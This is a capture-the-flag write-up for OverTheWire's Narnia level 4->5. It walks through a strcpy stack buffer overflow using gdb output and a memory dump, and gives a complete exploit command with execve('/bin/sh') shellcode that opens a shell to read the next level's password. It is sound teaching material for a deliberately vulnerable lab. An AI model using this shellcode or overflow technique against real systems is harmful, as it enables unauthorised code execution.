Overthewire.org - Narnia 4 -> 5


Today we'll be dealing with another reverse engineering challenge from Overthewire - pretty quick, but fun as always!

Challenge

This code is a lot shorter, compared to the previous ones, making it much easier to analyze.

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
	int i;
	char buffer[256];

	for(i = 0; environ[i] != NULL; i++)
		memset(environ[i], '\0', strlen(environ[i]));

	if(argc>1)
		strcpy(buffer,argv[1]);

	return 0;
}

Yeah, we have a buffer of 256 bytes, which gets the content, using dangerous strcpy function straight from the argument variable. This challenge looks a lot like the second one, so maybe we will also be able to put shellcode somewhere in the buffer?

Actually, after a little bit of tinktering in gdb, I've found that providing the binary with 273 "A" letters and 7 "B" letters will overwrite our buffer, together with return address.

(gdb) run $(python -c 'print "A" * 272 + "BBBBBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia4 $(python -c 'print "A" * 272 + "BBBBBBB"')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Now let's take a look at the memory.

0xffffd800:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd810:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd820:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd830:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd840:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd850:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd860:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd870:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd880:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd890:	0x41414141	0x41414141	0x41414141	0x41414141
---Type <return> to continue, or q <return> to quit---
0xffffd8a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd8b0: 0x41414141  0x41414141  0x42424141  0x42424242
0xffffd8c0: 0x00004242  0x00000000  0x00000000  0x00000000
0xffffd8d0: 0x00000000  0x00000000  0x00000000  0x00000000
0xffffd8e0: 0x00000000  0x00000000  0x00000000  0x00000000

From this we know that we have somewhere around 272 bytes for the shellcode with some additional bytes that will overwrite the return address. Now we can construct the command, using code from the previous levels.

As we already know that our payload is 25 bytes in size, we will have to: firstly write 247 "A" letters, then 25 bytes of shellcode and lastly overwriting the EIP register, which then will be placed somewhere in the middle of "A" letters. By looking at the debug of the memory, I'm going to choose it as 0xffffd850.

[email protected]:/narnia$ ./narnia4 $(python -c'print "A" * 247 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x50\xd8\xff\xff"')
$ cat /etc/narnia_pass/narnia5
********

Once again we have the password to the next level!

Conclusion

Another big thanks to OverTheWire! I'm looking forward to the next challenges!

Keep learning and stay safe! ~ W3ndige